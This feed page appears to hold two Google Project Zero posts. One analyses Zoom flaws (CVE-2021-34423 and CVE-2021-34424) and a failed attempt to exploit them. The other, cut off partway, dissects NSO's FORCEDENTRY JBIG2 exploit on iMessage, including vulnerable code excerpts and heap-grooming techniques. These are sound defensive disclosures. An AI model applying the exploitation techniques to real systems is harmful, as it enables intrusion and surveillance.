There are new articles available, click to refresh the page.
Before yesterdayGoogle Project Zero

Zooming in on Zero-click Exploits

18 January 2022 at 17:28
By: Ryan

Posted by Natalie Silvanovich, Project Zero

Zoom is a video conferencing platform that has gained popularity throughout the pandemic. Unlike other video conferencing systems that I have investigated, where one user initiates a call that other users must immediately accept or reject, Zoom calls are typically scheduled in advance and joined via an email invitation. In the past, I hadn’t prioritized reviewing Zoom because I believed that any attack against a Zoom client would require multiple clicks from a user. However, a zero-click attack against the Windows Zoom client was recently revealed at Pwn2Own, showing that it does indeed have a fully remote attack surface. The following post details my investigation into Zoom.

This analysis resulted in two vulnerabilities being reported to Zoom. One was a buffer overflow that affected both Zoom clients and MMR servers, and one was an info leak that is only useful to attackers on MMR servers. Both of these vulnerabilities were fixed on November 24, 2021.

Zoom Attack Surface Overview

Zoom’s main feature is multi-user conference calls called meetings that support a variety of features including audio, video, screen sharing and in-call text messages. There are several ways that users can join Zoom meetings. To start, Zoom provides full-featured installable clients for many platforms, including Windows, Mac, Linux, Android and iPhone. Users can also join Zoom meetings using a browser link, but they are able to use fewer features of Zoom. Finally, users can join a meeting by dialing phone numbers provided in the invitation on a touch-tone phone, but this only allows access to the audio stream of a meeting. This research focused on the Zoom client software, as the other methods of joining calls use existing device features.

Zoom clients support several communication features other than meetings that are available to a user’s Zoom Contacts. A Zoom Contact is a user that another user has added as a contact using the Zoom user interface. Both users must consent before they become Zoom Contacts. Afterwards, the users can send text messages to one another outside of meetings and start channels for persistent group conversations. Also, if either user hosts a meeting, they can invite the other user in a manner that is similar to a phone call: the other user is immediately notified and they can join the meeting with a single click. These features represent the zero-click attack surface of Zoom. Note that this attack surface is only available to attackers that have convinced their target to accept them as a contact. Likewise, meetings are part of the one-click attack surface only for Zoom Contacts, as other users need to click several times to enter a meeting.

That said, it’s likely not that difficult for a dedicated attacker to convince a target to join a Zoom call even if it takes multiple clicks, and the way some organizations use Zoom presents interesting attack scenarios. For example, many groups host public Zoom meetings, and Zoom supports a paid Webinar feature where large groups of unknown attendees can join a one-way video conference. It could be possible for an attacker to join a public meeting and target other attendees. Zoom also relies on a server to transmit audio and video streams, and end-to-end encryption is off by default. It could be possible for an attacker to compromise Zoom’s servers and gain access to meeting data.

Zoom Messages

I started out by looking at the zero-click attack surface of Zoom. Loading the Linux client into IDA, it appeared that a great deal of its server communication occurred over XMPP. Based on strings in the binary, it was clear that XMPP parsing was performed using a library called gloox. I fuzzed this library using AFL and other coverage-guided fuzzers, but did not find any vulnerabilities. I then looked at how Zoom uses the data provided over XMPP.

XMPP traffic seemed to be sent over SSL, so I located the SSL_write function in the binary based on log strings, and hooked it using Frida. The output contained many XMPP stanzas (messages) as well as other network traffic, which I analyzed to determine how XMPP is used by Zoom. XMPP is used for most communication between Zoom clients outside of meetings, such as messages and channels, and is also used for signaling (call set-up) when a Zoom Contact invites another Zoom Contact to a meeting.

I spent some time going through the client binary trying to determine how the client processes XMPP, for example, if a stanza contains a text message, how is that message extracted and displayed in the client. Even though the Zoom client contains many log strings, this was challenging, and I eventually asked my teammate Ned Williamson for help locating symbols for the client. He discovered that several old versions of the Android Zoom SDK contained symbols. While these versions are roughly five years old, and do not present a complete view of the client as they only include some libraries that it uses, they were immensely helpful in understanding how Zoom uses XMPP.

Application-defined tags can be added to gloox’s XMPP parser by extending the class StanzaExtension and implementing the method newInstance to define how the tag is converted into a C++ object. Parsed XMPP stanzas are then processed using the MessageHandler class. Application developers extend this class, implementing the method handleMessage with code that performs application functionality based on the contents of the stanza received. Zoom implements its XMPP handling in CXmppIMSession::handleMessage, which is a large function that is an entrypoint to most messaging and calling features. The final processing stage of many XMPP tags is in the class ns_zoom_messager::CZoomMMXmppWrapper, which contains many methods starting with ‘On’ that handle specific events. I spent a fair amount of time analyzing these code paths, but didn’t find any bugs. Interestingly, Thijs Alkemade and Daan Keuper released a write-up of their Pwn2Own bug after I completed this research, and it involved a vulnerability in this area.

RTP Processing

Afterwards, I investigated how Zoom clients process audio and video content. Like all other video conferencing systems that I have analyzed, it uses Real-time Transport Protocol (RTP) to transport this data. Based on log strings included in the Linux client binary, Zoom appears to use a branch of WebRTC for audio. Since I have looked at this library a great deal in previous posts, I did not investigate it further. For video, Zoom implements its own RTP processing and uses a custom underlying codec named Zealot (libzlt).

Analyzing the Linux client in IDA, I found what I believed to be the video RTP entrypoint, and fuzzed it using afl-qemu. This resulted in several crashes, mostly in RTP extension processing. I tried modifying the RTP sent by a client to reproduce these bugs, but it was not received by the device on the other side and I suspected the server was filtering it. I tried to get around this by enabling end-to-end encryption, but Zoom does not encrypt RTP headers, only the contents of RTP packets (as is typical of most RTP implementations).

Curious about how Zoom server filtering works, I decided to set up Zoom On-Premises Deployment. This is a Zoom product that allows customers to set up on-site servers to process their organization’s Zoom calls. This required a fair amount of configuration, and I ended up reaching out to the Zoom Security Team for assistance. They helped me get it working, and I greatly appreciate their contribution to this research.

Zoom On-Premises Deployments consist of two hosts: the controller and the Multimedia Router (MMR). Analyzing the traffic to each server, it became clear that the MMR is the host that transmits audio and video content between Zoom clients. Loading the code for the MMR process into IDA, I located where RTP is processed, and it indeed parses the extensions as a part of its forwarding logic and verifies them correctly, dropping any RTP packets that are malformed.

The code that processes RTP on the MMR appeared different than the code that I fuzzed on the device, so I set up fuzzing on the server code as well. This was challenging, as the code was in the MMR binary, which was not compiled as a relocatable binary (more on this later). This meant that I couldn’t load it as a library and call into specific offsets in the binary as I usually do to fuzz binaries that don’t have source code available. Instead, I compiled my own fuzzing stub that called the function I wanted to fuzz as a relocatable that defined fopen, and loaded it using LD_PRELOAD when executing the MMR binary. Then my code would take control of execution the first time that the MMR binary called fopen, and was able to call the function being fuzzed.

This approach has a lot of downsides, the biggest being that the fuzzing stub can’t accept command line parameters, execution is fairly slow and a lot of fuzzing tools don’t honor LD_PRELOAD on the target. That said, I was able to fuzz with code coverage using Mateusz Jurczyk’s excellent DrSanCov, with no results.

Packet Processing

When analyzing RTP traffic, I noticed that both Zoom clients and the MMR server process a great deal of packets that didn’t appear to be RTP or XMPP. Looking at the SDK with symbols, one library appeared to do a lot of serialization: libssb_sdk.so. This library contains a great deal of classes with the methods load_from and save_to defined with identical declarations, so it is likely that they all implement the same virtual class.

One parameter to the load_from methods is an object of class msg_db_t,  which implements a buffer that supports reading different data types. Deserialization is performed by load_from methods by reading needed data from the msg_db_t object, and serialization is performed by save_to methods by writing to it.

After hooking a few save_to methods with Frida and comparing the written output to data sent with SSL_write, it became clear that these serialization classes are part of the remote attack surface of Zoom. Reviewing each load_from method, several contained code similar to the following (from ssb::conf_send_msg_req::load_from).


msg_db, &this->str_len, consume_bytes, error_out);

  str_len = this->str_len;

  if ( str_len )


    mem = operator new[](str_len);

    out_len = 0;

    this->str_mem = mem;


read_str_with_len(msg_db, mem, &out_len);

read_str_with_len is defined as follows.

int __fastcall ssb::i_stream_t<ssb::msg_db_t,ssb::bytes_convertor>::

read_str_with_len(msg_db_t* msg, signed __int8 *mem,

unsigned int *len)


  if ( !msg->invalid )


ssb::i_stream_t<ssb::msg_db_t,ssb::bytes_convertor>::operator>>(msg, len, (int)len, 0);

    if ( !msg->invalid )


      if ( *len )


read(msg, mem, *len, 0);



  return msg;


Note that the string buffer is allocated based on a length read from the msg_db_t buffer, but then a second length is read from the buffer and used as the length of the string that is read. This means that if an attacker could manipulate the contents of the msg_db_t buffer, they could specify the length of the buffer allocated, and overwrite it with any length of data (up to a limit of 0x1FFF bytes, not shown in the code snippet above).

I tested this bug by hooking SSL_write with Frida, and sending the malformed packet, and it caused the Zoom client to crash on a variety of platforms. This vulnerability was assigned CVE-2021-34423 and fixed on November 24, 2021.

Looking at the code for the MMR server, I noticed that ssb::conf_send_msg_req::load_from, the class the vulnerability occurs in was also present on the MMR server. Since the MMR forwards Zoom meeting traffic from one client to another, it makes sense that it might also deserialize this packet type. I analyzed the MMR code in IDA, and found that deserialization of this class only occurs during Zoom Webinars. I purchased a Zoom Webinar license, and was able to crash my own Zoom MMR server by sending this packet. I was not willing to test a vulnerability of this type on Zoom’s public MMR servers, but it seems reasonably likely that the same code was also in Zoom’s public servers.

Looking further at deserialization, I noticed that all deserialized objects contain an optional field of type ssb::dyna_para_table_t, which is basically a properties table that allows a map of name strings to variant objects to be included in the deserialized object. The variants in the table are implemented by the structure ssb::variant_t, as follows.

struct variant{

char type;

short length;

var_data data;


union var_data{

        char i8;

        char* i8_ptr;

        short i16;

        short* i16_ptr;

        int i32;

        int* i32_ptr;

        long long i64;

        long long i64*;


The value of the type field corresponds to the width of the variant data (1 for 8-bit, 2 for 16-bit, 3 for 32-bit and 4 four 64-bit). The length field specifies whether the variant is an array and its length. If it has the value 0, the variant is not an array, and a numeric value is read from the data field based on its type. If the length field has any other value, the data field is cast to a pointer, an array of that size is read.

My immediate concern with this implementation was that it could be prone to type confusion. One possibility is that a numeric value could be confused with an array pointer, which would allow an attacker to create a variant with a pointer that they specify. However, both the client and MMR perform very aggressive type checks on variants they treat as arrays. Another possibility is that a pointer could be confused with a numeric value. This could allow an attacker to determine the address of a buffer they control if the value is ever returned to the attacker. I found a few locations in the MMR code where a pointer is converted to a numeric value in this way and logged, but nowhere that an attacker could obtain the incorrectly cast value. Finally, I looked at how array data is handled, and I found that there are several locations where byte array variants are converted to strings, however not all of them checked that the byte array has a null terminator. This meant that if these variants were converted to strings, the string could contain the contents of uninitialized memory.

Most of the time, packets sent to the MMR by one user are immediately forwarded to other users without being deserialized by the server. For some bugs, this is a useful feature, for example, it is what allows CVE-2021-34423 discussed earlier to be triggered on a client. However, an information leak in variants needs to occur on the server to be useful to an attacker. When a client deserializes an incoming packet, it is for use on the device, so even if a deserialized string contains sensitive information, it is unlikely that this information will be transmitted off the device. Meanwhile, the MMR exists expressly to transmit information from one user to another, so if a string gets deserialized, there is a reasonable chance that it gets sent to another user, or alters server behavior in an observable way. So, I tried to find a way to get the server to deserialize a variant and convert it to a string. I eventually figured out that when a user logs into Zoom in a browser, the browser can’t process serialized packets, so the MMR must convert them to strings so they can be accessed through web requests. Indeed, I found that if I removed the null terminator from the user_name variant, it would be converted to a string and sent to the browser as the user’s display name.

The vulnerability was assigned CVE-2021-34424 and fixed on November 24, 2021. I tested it on my own MMR as well as Zoom’s public MMR, and it worked and returned pointer data in both cases.

Exploit Attempt

I attempted to exploit my local MMR server with these vulnerabilities, and while I had success with portions of the exploit, I was not able to get it working. I started off by investigating the possibility of creating a client that could trigger each bug outside of the Zoom client, but client authentication appeared complex and I lacked symbols for this part of the code, so I didn’t pursue this as I suspected it would be very time-consuming. Instead, I analyzed the exploitability of the bugs by triggering them from a Linux Zoom client hooked with Frida.

I started off by investigating the impact of heap corruption on the MMR process. MMR servers run on CentOS 7, which uses a modern glibc heap, so exploiting heap unlinking did not seem promising. I looked into overwriting the vtable of a C++ object allocated on the heap instead.


I wrote several Frida scripts that hooked malloc on the server, and used them to monitor how incoming traffic affects allocation. It turned out that there are not many ways for an attacker to control memory allocation on an MMR server that are useful for exploiting this vulnerability. There are several packet types that an attacker can send to the server that cause memory to be allocated on the heap and then freed when processing is finished, but not as many where the attacker can trigger both allocation and freeing. Moreover, the MMR server performs different types of processing in separate threads that use unique heap arenas, so many areas of the code where this type of allocation is likely to occur, such as connection management, allocate memory in a different heap arena than the thread where the bug occurs. The only such allocations I could find that were made in the same arena were related to meeting set-up: when a user joins a meeting, certain objects are allocated on the heap, which are then freed when they leave the meeting. Unfortunately, these allocations are difficult to automate as they require many unique users accounts in order for the allocation to be performed repeatedly, and allocation takes an observable amount of time (seconds).

I eventually wrote Frida scripts that looked for free chunks of unusual sizes that bordered C++ objects with vtables during normal MMR operation. There were a few allocation sizes that met this criteria, and since CVE-2021-34423 allows for the size of the buffer that is overflowed to be specified by the attacker, I was able to corrupt the memory of the adjacent object. Unfortunately, heap verification was very robust, so in most cases, the MMR process would crash due to a heap verification error before a virtual call was made on the corrupted object. I eventually got around this by focusing on allocation sizes that are small enough to be stored in fastbins by the heap, as heap chunks that are stored in fastbins do not contain verifiable heap metadata. Chunks of size 58 turned out to be the best choice, and by triggering the bug with an allocation of that size, I was able to control the pointer of a virtual call about one in ten times I triggered the bug.

The next step was to figure out where to point the pointer I could control, and this turned out to be more challenging than I expected. The MMR process did not have ASLR enabled when I did this research (it was enabled in version 4.6.20211128.136, which was released on November 28, 2021), so I was hoping to find a series of locations in the binary that this call could be directed to that would eventually end in a call to execv with controllable parameters, as the MMR initialization code contains many calls to this function. However, there were a few features of the server that made this difficult. First, only the MMR binary was loaded at a fixed location. The heap and system libraries were not, so only the actual MMR code was available without bypassing ASLR. Second, if the MMR crashes, it has an exponential backoff which culminates in it respawning every hour on the hour. This limits how many exploit attempts an attacker has. It is realistic that an attacker might spend days or even weeks trying to exploit a server, but this still limits them to hundreds of attempts. This means that any exploit of an MMR server would need to be at least somewhat reliable, so certain techniques that require a lot of attempts, such as allocating a large buffer on the heap and trying to guess its location were not practical.

I eventually decided that it would be helpful to allocate a buffer on the heap with controlled contents and determine its location. This would make the exploit fairly reliable in the case that the overflow successfully leads to a virtual call, as the buffer could be used as a fake vtable, and also contain strings that could be used as parameters to execv. I tried using CVE-2021-34424 to leak such an address, but wasn’t able to get this working.

This bug allows the attacker to provide a string of any size, which then gets copied out of bounds up until a null character is encountered in memory, and then returned. It is possible for CVE-2021-34424 to return a heap pointer, as the MMR maps the heap that gets corrupted at a low address that does not usually contain null bytes, however, I could not find a way to force a specific heap pointer to be allocated next to the string buffer that gets copied out of bounds. C++ objects used by the MMR tend to be virtual objects, so the first 64 bits of most object allocations are a vtable which contains null bytes, ending the copy. Other allocated structures, especially larger ones, tend to contain non-pointer data. I was able to get this bug to return heap pointers by specifying a string that was less than 64 bits long, so the nearby allocations were sometimes the pointers themselves, but allocations of this size are so frequent it was not possible to ascertain what heap data they pointed to with any accuracy.

One last idea I had was to use another type confusion bug to leak a pointer to a controllable buffer. There is one such bug in the processing of deserialized ssb::kv_update_req objects. This object’s ssb::dyna_para_table_t table contains a variant named nodeid which represents the specific Zoom client that the message refers to. If an attacker changes this variant to be of type array instead of a 32-bit integer, the address of the pointer to this array will be logged as a string. I tried to combine CVE-2021-34424 with this bug, hoping that it might be possible for the leaked data to be this log string that contains pointer information. Unfortunately, I wasn’t able to get this to work because of timing: the log entry needs to be logged at almost exactly the same time as the bug is triggered so that the log data is still in memory, and I wasn't able to send packets fast enough. I suspect it might be possible for this to work with improved automation, as I was relying on clients hooked with Frida and browsers to interact with the Zoom server, but I decided not to pursue this as it would require tooling that would take substantial effort to develop.


I performed a security analysis of Zoom and reported two vulnerabilities. One was a buffer overflow that affected both Zoom clients and MMR servers, and one was an info leak that is only useful to attackers on MMR servers. Both of these vulnerabilities were fixed on November 24, 2021.

The vulnerabilities in Zoom’s MMR server are especially concerning, as this server processes meeting audio and video content, so a compromise could allow an attacker to monitor any Zoom meetings that do not have end-to-end encryption enabled. While I was not successful in exploiting these vulnerabilities, I was able to use them to perform many elements of exploitation, and I believe that an attacker would be able to exploit them with sufficient investment. The lack of ASLR in the Zoom MMR process greatly increased the risk that an attacker could compromise it, and it is positive that Zoom has recently enabled it. That said, if vulnerabilities similar to the ones that I reported still exist in the MMR server, it is likely that an attacker could bypass it, so it is also important that Zoom continue to improve the robustness of the MMR code.

It is also important to note that this research was possible because Zoom allows customers to set up their own servers, meanwhile no other video conferencing solution with proprietary servers that I have investigated allows this, so it is unclear how these results compare to other video conferencing platforms.

Overall, while the client bugs that were discovered during this research were comparable to what Project Zero has found in other videoconferencing platforms, the server bugs were surprising, especially when the server lacked ASLR and supports modes of operation that are not end-to-end encrypted.

There are a few factors that commonly lead to security problems in videoconferencing applications that contributed to these bugs in Zoom. One is the huge amount of code included in Zoom. There were large portions of code that I couldn’t determine the functionality of, and many of the classes that could be deserialized didn’t appear to be commonly used. This both increases the difficulty of security research and increases the attack surface by making more code that could potentially contain vulnerabilities available to attackers. In addition, Zoom uses many proprietary formats and protocols which meant that understanding the attack surface of the platform and creating the tooling to manipulate specific interfaces was very time consuming. Using the features we tested also required paying roughly $1500 USD in licensing fees. These barriers to security research likely mean that Zoom is not investigated as often as it could be, potentially leading to simple bugs going undiscovered.  

Still, my largest concern in this assessment was the lack of ASLR in the Zoom MMR server. ASLR is arguably the most important mitigation in preventing exploitation of memory corruption, and most other mitigations rely on it on some level to be effective. There is no good reason for it to be disabled in the vast majority of software. There has recently been a push to reduce the susceptibility of software to memory corruption vulnerabilities by moving to memory-safe languages and implementing enhanced memory mitigations, but this relies on vendors using the security measures provided by the platforms they write software for. All software written for platforms that support ASLR should have it (and other basic memory mitigations) enabled.

The closed nature of Zoom also impacted this analysis greatly. Most video conferencing systems use open-source software, either WebRTC or PJSIP. While these platforms are not free of problems, it’s easier for researchers, customers and vendors alike to verify their security properties and understand the risk they present because they are open. Closed-source software presents unique security challenges, and Zoom could do more to make their platform accessible to security researchers and others who wish to evaluate it. While the Zoom Security Team helped me access and configure server software, it is not clear that support is available to other researchers, and licensing the software was still expensive. Zoom, and other companies that produce closed-source security-sensitive software should consider how to make their software accessible to security researchers.

A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution

15 December 2021 at 17:00
By: Ryan

Posted by Ian Beer & Samuel Groß of Google Project Zero

We want to thank Citizen Lab for sharing a sample of the FORCEDENTRY exploit with us, and Apple’s Security Engineering and Architecture (SEAR) group for collaborating with us on the technical analysis. The editorial opinions reflected below are solely Project Zero’s and do not necessarily reflect those of the organizations we collaborated with during this research.

Earlier this year, Citizen Lab managed to capture an NSO iMessage-based zero-click exploit being used to target a Saudi activist. In this two-part blog post series we will describe for the first time how an in-the-wild zero-click iMessage exploit works.

Based on our research and findings, we assess this to be one of the most technically sophisticated exploits we've ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.

The vulnerability discussed in this blog post was fixed on September 13, 2021 in iOS 14.8 as CVE-2021-30860.


NSO Group is one of the highest-profile providers of "access-as-a-service", selling packaged hacking solutions which enable nation state actors without a home-grown offensive cyber capability to "pay-to-play", vastly expanding the number of nations with such cyber capabilities.

For years, groups like Citizen Lab and Amnesty International have been tracking the use of NSO's mobile spyware package "Pegasus". Despite NSO's claims that they "[evaluate] the potential for adverse human rights impacts arising from the misuse of NSO products" Pegasus has been linked to the hacking of the New York Times journalist Ben Hubbard by the Saudi regime, hacking of human rights defenders in Morocco and Bahrain, the targeting of Amnesty International staff and dozens of other cases.

Last month the United States added NSO to the "Entity List", severely restricting the ability of US companies to do business with NSO and stating in a press release that "[NSO's tools] enabled foreign governments to conduct transnational repression, which is the practice of authoritarian governments targeting dissidents, journalists and activists outside of their sovereign borders to silence dissent."

Citizen Lab was able to recover these Pegasus exploits from an iPhone and therefore this analysis covers NSO's capabilities against iPhone. We are aware that NSO sells similar zero-click capabilities which target Android devices; Project Zero does not have samples of these exploits but if you do, please reach out.

From One to Zero

In previous cases such as the Million Dollar Dissident from 2016, targets were sent links in SMS messages:

Screenshots of Phishing SMSs reported to Citizen Lab in 2016

source: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/

The target was only hacked when they clicked the link, a technique known as a one-click exploit. Recently, however, it has been documented that NSO is offering their clients zero-click exploitation technology, where even very technically savvy targets who might not click a phishing link are completely unaware they are being targeted. In the zero-click scenario no user interaction is required. Meaning, the attacker doesn't need to send phishing messages; the exploit just works silently in the background. Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.

One weird trick

The initial entry point for Pegasus on iPhone is iMessage. This means that a victim can be targeted just using their phone number or AppleID username.

iMessage has native support for GIF images, the typically small and low quality animated images popular in meme culture. You can send and receive GIFs in iMessage chats and they show up in the chat window. Apple wanted to make those GIFs loop endlessly rather than only play once, so very early on in the iMessage parsing and processing pipeline (after a message has been received but well before the message is shown), iMessage calls the following method in the IMTranscoderAgent process (outside the "BlastDoor" sandbox), passing any image file received with the extension .gif:

  [IMGIFUtils copyGifFromPath:toDestinationPath:error]

Looking at the selector name, the intention here was probably to just copy the GIF file before editing the loop count field, but the semantics of this method are different. Under the hood it uses the CoreGraphics APIs to render the source image to a new GIF file at the destination path. And just because the source filename has to end in .gif, that doesn't mean it's really a GIF file.

The ImageIO library, as detailed in a previous Project Zero blogpost, is used to guess the correct format of the source file and parse it, completely ignoring the file extension. Using this "fake gif" trick, over 20 image codecs are suddenly part of the iMessage zero-click attack surface, including some very obscure and complex formats, remotely exposing probably hundreds of thousands of lines of code.

Note: Apple inform us that they have restricted the available ImageIO formats reachable from IMTranscoderAgent starting in iOS 14.8.1 (26 October 2021), and completely removed the GIF code path from IMTranscoderAgent starting in iOS 15.0 (20 September 2021), with GIF decoding taking place entirely within BlastDoor.

A PDF in your GIF

NSO uses the "fake gif" trick to target a vulnerability in the CoreGraphics PDF parser.

PDF was a popular target for exploitation around a decade ago, due to its ubiquity and complexity. Plus, the availability of javascript inside PDFs made development of reliable exploits far easier. The CoreGraphics PDF parser doesn't seem to interpret javascript, but NSO managed to find something equally powerful inside the CoreGraphics PDF parser...

Extreme compression

In the late 1990's, bandwidth and storage were much more scarce than they are now. It was in that environment that the JBIG2 standard emerged. JBIG2 is a domain specific image codec designed to compress images where pixels can only be black or white.

It was developed to achieve extremely high compression ratios for scans of text documents and was implemented and used in high-end office scanner/printer devices like the XEROX WorkCenter device shown below. If you used the scan to pdf functionality of a device like this a decade ago, your PDF likely had a JBIG2 stream in it.

A Xerox WorkCentre 7500 series multifunction printer, which used JBIG2

for its scan-to-pdf functionality

source: https://www.office.xerox.com/en-us/multifunction-printers/workcentre-7545-7556/specifications

The PDFs files produced by those scanners were exceptionally small, perhaps only a few kilobytes. There are two novel techniques which JBIG2 uses to achieve these extreme compression ratios which are relevant to this exploit:

Technique 1: Segmentation and substitution

Effectively every text document, especially those written in languages with small alphabets like English or German, consists of many repeated letters (also known as glyphs) on each page. JBIG2 tries to segment each page into glyphs then uses simple pattern matching to match up glyphs which look the same:

Simple pattern matching can find all the shapes which look similar on a page,

in this case all the 'e's

JBIG2 doesn't actually know anything about glyphs and it isn't doing OCR (optical character recognition.) A JBIG encoder is just looking for connected regions of pixels and grouping similar looking regions together. The compression algorithm is to simply substitute all sufficiently-similar looking regions with a copy of just one of them:

Replacing all occurrences of similar glyphs with a copy of just one often yields a document which is still quite legible and enables very high compression ratios

In this case the output is perfectly readable but the amount of information to be stored is significantly reduced. Rather than needing to store all the original pixel information for the whole page you only need a compressed version of the "reference glyph" for each character and the relative coordinates of all the places where copies should be made. The decompression algorithm then treats the output page like a canvas and "draws" the exact same glyph at all the stored locations.

There's a significant issue with such a scheme: it's far too easy for a poor encoder to accidentally swap similar looking characters, and this can happen with interesting consequences. D. Kriesel's blog has some motivating examples where PDFs of scanned invoices have different figures or PDFs of scanned construction drawings end up with incorrect measurements. These aren't the issues we're looking at, but they are one significant reason why JBIG2 is not a common compression format anymore.

Technique 2: Refinement coding

As mentioned above, the substitution based compression output is lossy. After a round of compression and decompression the rendered output doesn't look exactly like the input. But JBIG2 also supports lossless compression as well as an intermediate "less lossy" compression mode.

It does this by also storing (and compressing) the difference between the substituted glyph and each original glyph. Here's an example showing a difference mask between a substituted character on the left and the original lossless character in the middle:

Using the XOR operator on bitmaps to compute a difference image

In this simple example the encoder can store the difference mask shown on the right, then during decompression the difference mask can be XORed with the substituted character to recover the exact pixels making up the original character. There are some more tricks outside of the scope of this blog post to further compress that difference mask using the intermediate forms of the substituted character as a "context" for the compression.

Rather than completely encoding the entire difference in one go, it can be done in steps, with each iteration using a logical operator (one of AND, OR, XOR or XNOR) to set, clear or flip bits. Each successive refinement step brings the rendered output closer to the original and this allows a level of control over the "lossiness" of the compression. The implementation of these refinement coding steps is very flexible and they are also able to "read" values already present on the output canvas.

A JBIG2 stream

Most of the CoreGraphics PDF decoder appears to be Apple proprietary code, but the JBIG2 implementation is from Xpdf, the source code for which is freely available.

The JBIG2 format is a series of segments, which can be thought of as a series of drawing commands which are executed sequentially in a single pass. The CoreGraphics JBIG2 parser supports 19 different segment types which include operations like defining a new page, decoding a huffman table or rendering a bitmap to given coordinates on the page.

Segments are represented by the class JBIG2Segment and its subclasses JBIG2Bitmap and JBIG2SymbolDict.

A JBIG2Bitmap represents a rectangular array of pixels. Its data field points to a backing-buffer containing the rendering canvas.

A JBIG2SymbolDict groups JBIG2Bitmaps together. The destination page is represented as a JBIG2Bitmap, as are individual glyphs.

JBIG2Segments can be referred to by a segment number and the GList vector type stores pointers to all the JBIG2Segments. To look up a segment by segment number the GList is scanned sequentially.

The vulnerability

The vulnerability is a classic integer overflow when collating referenced segments:

  Guint numSyms; // (1)

  numSyms = 0;

  for (i = 0; i < nRefSegs; ++i) {

    if ((seg = findSegment(refSegs[i]))) {

      if (seg->getType() == jbig2SegSymbolDict) {

        numSyms += ((JBIG2SymbolDict *)seg)->getSize();  // (2)

      } else if (seg->getType() == jbig2SegCodeTable) {



    } else {

      error(errSyntaxError, getPos(),

            "Invalid segment reference in JBIG2 text region");

      delete codeTables;





  // get the symbol bitmaps

  syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *)); // (3)

  kk = 0;

  for (i = 0; i < nRefSegs; ++i) {

    if ((seg = findSegment(refSegs[i]))) {

      if (seg->getType() == jbig2SegSymbolDict) {

        symbolDict = (JBIG2SymbolDict *)seg;

        for (k = 0; k < symbolDict->getSize(); ++k) {

          syms[kk++] = symbolDict->getBitmap(k); // (4)





numSyms is a 32-bit integer declared at (1). By supplying carefully crafted reference segments it's possible for the repeated addition at (2) to cause numSyms to overflow to a controlled, small value.

That smaller value is used for the heap allocation size at (3) meaning syms points to an undersized buffer.

Inside the inner-most loop at (4) JBIG2Bitmap pointer values are written into the undersized syms buffer.

Without another trick this loop would write over 32GB of data into the undersized syms buffer, certainly causing a crash. To avoid that crash the heap is groomed such that the first few writes off of the end of the syms buffer corrupt the GList backing buffer. This GList stores all known segments and is used by the findSegments routine to map from the segment numbers passed in refSegs to JBIG2Segment pointers. The overflow causes the JBIG2Segment pointers in the GList to be overwritten with JBIG2Bitmap pointers at (4).

Conveniently since JBIG2Bitmap inherits from JBIG2Segment the seg->getType() virtual call succeed even on devices where Pointer Authentication is enabled (which is used to perform a weak type check on virtual calls) but the returned type will now not be equal to jbig2SegSymbolDict thus causing further writes at (4) to not be reached and bounding the extent of the memory corruption.

A simplified view of the memory layout when the heap overflow occurs showing the undersized-buffer below the GList backing buffer and the JBIG2Bitmap

Boundless unbounding

Directly after the corrupted segments GList, the attacker grooms the JBIG2Bitmap object which represents the current page (the place to where current drawing commands render).

JBIG2Bitmaps are simple wrappers around a backing buffer, storing the buffer’s width and height (in bits) as well as a line value which defines how many bytes are stored for each line.

The memory layout of the JBIG2Bitmap object showing the segnum, w, h and line fields which are corrupted during the overflow

By carefully structuring refSegs they can stop the overflow after writing exactly three more JBIG2Bitmap pointers after the end of the segments GList buffer. This overwrites the vtable pointer and the first four fields of the JBIG2Bitmap representing the current page. Due to the nature of the iOS address space layout these pointers are very likely to be in the second 4GB of virtual memory, with addresses between 0x100000000 and 0x1ffffffff. Since all iOS hardware is little endian (meaning that the w and line fields are likely to be overwritten with 0x1 — the most-significant half of a JBIG2Bitmap pointer) and the segNum and h fields are likely to be overwritten with the least-significant half of such a pointer, a fairly random value depending on heap layout and ASLR somewhere between 0x100000 and 0xffffffff.

This gives the current destination page JBIG2Bitmap an unknown, but very large, value for h. Since that h value is used for bounds checking and is supposed to reflect the allocated size of the page backing buffer, this has the effect of "unbounding" the drawing canvas. This means that subsequent JBIG2 segment commands can read and write memory outside of the original bounds of the page backing buffer.

The heap groom also places the current page's backing buffer just below the undersized syms buffer, such that when the page JBIG2Bitmap is unbounded, it's able to read and write its own fields:

The memory layout showing how the unbounded bitmap backing buffer is able to reference the JBIG2Bitmap object and modify fields in it as it is located after the backing buffer in memory

By rendering 4-byte bitmaps at the correct canvas coordinates they can write to all the fields of the page JBIG2Bitmap and by carefully choosing new values for w, h and line, they can write to arbitrary offsets from the page backing buffer.

At this point it would also be possible to write to arbitrary absolute memory addresses if you knew their offsets from the page backing buffer. But how to compute those offsets? Thus far, this exploit has proceeded in a manner very similar to a "canonical" scripting language exploit which in Javascript might end up with an unbounded ArrayBuffer object with access to memory. But in those cases the attacker has the ability to run arbitrary Javascript which can obviously be used to compute offsets and perform arbitrary computations. How do you do that in a single-pass image parser?

My other compression format is turing-complete!

As mentioned earlier, the sequence of steps which implement JBIG2 refinement are very flexible. Refinement steps can reference both the output bitmap and any previously created segments, as well as render output to either the current page or a segment. By carefully crafting the context-dependent part of the refinement decompression, it's possible to craft sequences of segments where only the refinement combination operators have any effect.

In practice this means it is possible to apply the AND, OR, XOR and XNOR logical operators between memory regions at arbitrary offsets from the current page's JBIG2Bitmap backing buffer. And since that has been unbounded… it's possible to perform those logical operations on memory at arbitrary out-of-bounds offsets:

The memory layout showing how logical operators can be applied out-of-bounds

It's when you take this to its most extreme form that things start to get really interesting. What if rather than operating on glyph-sized sub-rectangles you instead operated on single bits?

You can now provide as input a sequence of JBIG2 segment commands which implement a sequence of logical bit operations to apply to the page. And since the page buffer has been unbounded those bit operations can operate on arbitrary memory.

With a bit of back-of-the-envelope scribbling you can convince yourself that with just the available AND, OR, XOR and XNOR logical operators you can in fact compute any computable function - the simplest proof being that you can create a logical NOT operator by XORing with 1 and then putting an AND gate in front of that to form a NAND gate:

An AND gate connected to one input of an XOR gate. The other XOR gate input is connected to the constant value 1 creating an NAND.

A NAND gate is an example of a universal logic gate; one from which all other gates can be built and from which a circuit can be built to compute any computable function.

Practical circuits

